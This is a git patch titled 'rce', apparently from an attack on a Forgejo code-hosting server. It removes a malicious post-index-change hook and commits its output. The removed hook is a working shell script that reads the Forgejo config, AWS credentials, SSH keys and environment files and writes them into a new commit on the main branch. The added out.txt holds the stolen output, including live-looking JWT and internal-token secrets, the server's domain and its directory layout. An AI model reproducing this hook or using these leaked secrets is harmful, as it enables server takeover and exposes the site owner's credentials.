From 2cac195b6774db3cec7467f083c7981fe7b6f5ed Mon Sep 17 00:00:00 2001 From: Gitea Date: Thu, 30 Jul 2026 23:46:51 +0000 Subject: [PATCH] rce --- README.md | 2 - hooks/post-index-change | 40 -------------- out.txt | 113 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 113 insertions(+), 42 deletions(-) delete mode 100644 README.md delete mode 100755 hooks/post-index-change create mode 100644 out.txt diff --git a/README.md b/README.md deleted file mode 100644 index 1d29176..0000000 --- a/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# r481364 - diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index 1f246aa..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -O="" -# Forgejo config -O="$O===FORGEJO_CONFIG===" -O="$O$(cat /var/lib/forgejo/custom/conf/app.ini 2>/dev/null || cat /etc/forgejo/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null)" -# Environment files -O="$O===ENV_FILES===" -O="$O$(find /var/lib/forgejo -name "*.env" -o -name ".env" 2>/dev/null | head -5)" -O="$O$(cat /var/lib/forgejo/.env 2>/dev/null)" -# AWS creds -O="$O===AWS_CREDS===" -O="$O$(cat /home/git/.aws/credentials 2>/dev/null)" -O="$O$(cat /root/.aws/credentials 2>/dev/null)" -# SSH keys -O="$O===SSH===" -O="$O$(ls -la /home/git/.ssh/ 2>/dev/null)" -O="$O$(cat /home/git/.ssh/id_rsa 2>/dev/null | head -5)" -# System info -O="$O===SYSTEM===" -O="$O$(uname -a)" -O="$O$(cat /etc/os-release 2>/dev/null | head -5)" -# Docker check -O="$O===DOCKER===" -O="$O$(ls /.dockerenv 2>/dev/null && echo DOCKER_CONTAINER || echo NO_DOCKER)" -# Check for kubelet -O="$O===K8S===" -O="$O$(ls /var/run/secrets/kubernetes.io 2>/dev/null || echo NO_K8S)" -# Home dir -O="$O===HOME===" -O="$O$(ls -la /home/ 2>/dev/null)" -O="$O$(ls -la /var/lib/forgejo/ 2>/dev/null | head -20)" -# Check for app data -O="$O===DATA===" -O="$O$(ls /var/lib/forgejo/data/ 2>/dev/null | head -10)" -O="$O$(find /var/lib/forgejo -maxdepth 3 -name "*.json" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | head -10)" -B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null) -T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null) -H=$(git rev-parse HEAD 2>/dev/null) -C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null) -git update-ref refs/heads/main "$C" 2>/dev/null diff --git a/out.txt b/out.txt new file mode 100644 index 0000000..d861e8d --- /dev/null +++ b/out.txt @@ -0,0 +1,113 @@ +===FORGEJO_CONFIG===APP_NAME = Forgejo: Beyond coding. We Forge. +RUN_USER = git +WORK_PATH = /var/lib/forgejo +RUN_MODE = prod + +[database] +DB_TYPE = sqlite3 +HOST = 127.0.0.1:3306 +NAME = forgejo +USER = forgejo +PASSWD = +SCHEMA = +SSL_MODE = disable +PATH = /var/lib/forgejo/data/forgejo.db +LOG_SQL = false + +[repository] +ROOT = /var/lib/forgejo/data/forgejo-repositories + +[server] +SSH_DOMAIN = git.mentalsquirrel.com +DOMAIN = git.mentalsquirrel.com +HTTP_PORT = 3000 +ROOT_URL = https://git.mentalsquirrel.com/ +APP_DATA_PATH = /var/lib/forgejo/data +DISABLE_SSH = false +SSH_PORT = 22 +LFS_START_SERVER = true +LFS_JWT_SECRET = UIVZMbRQHzg0vD9fKp_PF0cnREr0T01Jo210UYP1GUY +OFFLINE_MODE = false + +[lfs] +PATH = /var/lib/forgejo/data/lfs + +[mailer] +ENABLED = false + +[service] +REGISTER_EMAIL_CONFIRM = false +ENABLE_NOTIFY_MAIL = false +DISABLE_REGISTRATION = false +ALLOW_ONLY_EXTERNAL_REGISTRATION = false +ENABLE_CAPTCHA = false +REQUIRE_SIGNIN_VIEW = false +DEFAULT_KEEP_EMAIL_PRIVATE = false +DEFAULT_ALLOW_CREATE_ORGANIZATION = true +DEFAULT_ENABLE_TIMETRACKING = true +NO_REPLY_ADDRESS = noreply.localhost + +[openid] +ENABLE_OPENID_SIGNIN = true +ENABLE_OPENID_SIGNUP = true + +[cron.update_checker] +ENABLED = true + +[session] +PROVIDER = file + +[log] +MODE = console +LEVEL = info +ROOT_PATH = /var/lib/forgejo/log + +[repository.pull-request] +DEFAULT_MERGE_STYLE = merge + +[repository.signing] +DEFAULT_TRUST_MODEL = committer + +[security] +INSTALL_LOCK = true +INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE2OTc5OTM2ODJ9.l6ayLrmf6cHBh69H3sReOXpN2OlpwObCuzn0k_0xNU8 +PASSWORD_HASH_ALGO = pbkdf2_hi + +[oauth2] +JWT_SECRET = y44GnaAOvj82jXYXsd4H0zumIQrVdSz9v4Skj6LvSTQ + +[actions] +ENABLED = true +DEFAULT_ACTIONS_URL = https://code.forgejo.org===ENV_FILES======AWS_CREDS======SSH===total 40 +drwx------ 2 git git 4096 Jul 29 17:57 . +drwxr-xr-x 3 git git 4096 Oct 22 2023 .. +-rw------- 1 git git 2813 Jul 29 19:06 authorized_keys +-rw------- 1 git git 0 Oct 22 2023 authorized_keys_1697993698.gitea_bak +-rw------- 1 git git 1115 May 31 2024 authorized_keys_1717255517.gitea_bak +-rw------- 1 git git 1115 Jun 1 2024 authorized_keys_1736211084.gitea_bak +-rw------- 1 git git 1115 Jan 7 2025 authorized_keys_1742145506.gitea_bak +-rw------- 1 git git 1115 Mar 16 2025 authorized_keys_1743818810.gitea_bak +-rw------- 1 git git 1663 Feb 11 23:05 authorized_keys_1770851597.gitea_bak +-rw------- 1 git git 1640 Feb 11 23:16 authorized_keys_1775826488.gitea_bak +-rw------- 1 git git 2249 Jun 29 21:01 authorized_keys_1785347863.gitea_bak===SYSTEM===Linux ip-172-10-1-178 6.1.0-13-cloud-arm64 #1 SMP Debian 6.1.55-1 (2023-09-29) aarch64 GNU/LinuxPRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm===DOCKER===NO_DOCKER===K8S===NO_K8S===HOME===total 16 +drwxr-xr-x 4 root root 4096 Oct 22 2023 . +drwxr-xr-x 19 root root 4096 Nov 10 2023 .. +drwxr-xr-x 5 admin admin 4096 Jun 1 2024 admin +drwxr-xr-x 3 git git 4096 Oct 22 2023 gittotal 16 +drwxr-x--- 4 git git 4096 Oct 22 2023 . +drwxr-xr-x 29 root root 4096 May 18 06:42 .. +drwxr-xr-x 17 git git 4096 Jul 30 23:46 data +drwxr-xr-x 2 git git 4096 Oct 22 2023 log===DATA===actions_artifacts +actions_log +attachments +avatars +forgejo-repositories +forgejo.db +home +indexers +jwt +lfs